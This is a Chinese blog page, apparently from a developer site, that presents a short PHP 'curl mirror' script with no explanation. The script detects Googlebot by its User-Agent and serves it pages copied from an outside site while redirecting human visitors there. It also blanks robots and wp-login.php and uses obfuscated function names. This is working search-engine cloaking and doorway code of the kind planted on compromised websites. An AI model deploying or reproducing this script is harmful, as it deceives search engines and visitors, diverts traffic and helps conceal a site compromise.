curl镜像

<?php  
$geturl = 'http://'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$urlself = 'http://'.$_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'];
$referrer	=	$_SERVER['HTTP_REFERER'];
$from	= '0';
if(stristr($referrer,'google') || stristr($referrer,'bing') || stristr($referrer,'yahoo') || stristr($referrer,'aol') ){
	$from	= '1';
}
 
$baseurl = 'http://www.happy.com/baby/';
$remoteurl = str_replace($urlself,$baseurl,$geturl);
$remoteurl = str_replace('/?','/',$remoteurl);
$zhizhu_js=$_SERVER["HTTP_USER_AGENT"];
$js_zt='0';
if (stristr($zhizhu_js,'google')) {
$js_zt='1';
}
if ($js_zt == '1')  {
$content = XloEIK($remoteurl);
$content = str_replace($baseurl,$urlself ,$content);
$content = preg_replace("/(src|href)=[\"\']\/(.*?)[\"\']/i","$1='?$2'",$content);
}
else {
 	//if($from=='1'){
 		if($geturl==$urlself){
 			$xURL	= str_replace($urlself,$baseurl,$geturl);
 		}else{
 			$xURL	= str_replace($urlself ,$baseurl,$geturl);
 		}
 		Header( "Location: ".$xURL );
 	//}
 	//else{
 	// 	echo '';
 	// }
 	//Header( "Location: ".$xURL );
}
if (stristr($remoteurl,'.css')) {
header("Content-type: text/css; charset: UTF-8");
echo $content;
}else if (stristr($remoteurl,'.xml')) {
header("Content-type: text/xml; charset: UTF-8");
echo $content;
}else if (stristr($remoteurl,'robots')) {
echo '';
exit;
}else if (stristr($remoteurl,'wp-login.php')) {
echo '';
exit;
}
else {echo $content;}
function XloEIK($tXcikc) 
{
$ch = curl_init();
$timeout = 30;
curl_setopt($ch,CURLOPT_URL,$tXcikc);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; neo/1999;)');
$yUdQZx = curl_exec($ch);
curl_close($ch);
return $yUdQZx;
}

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值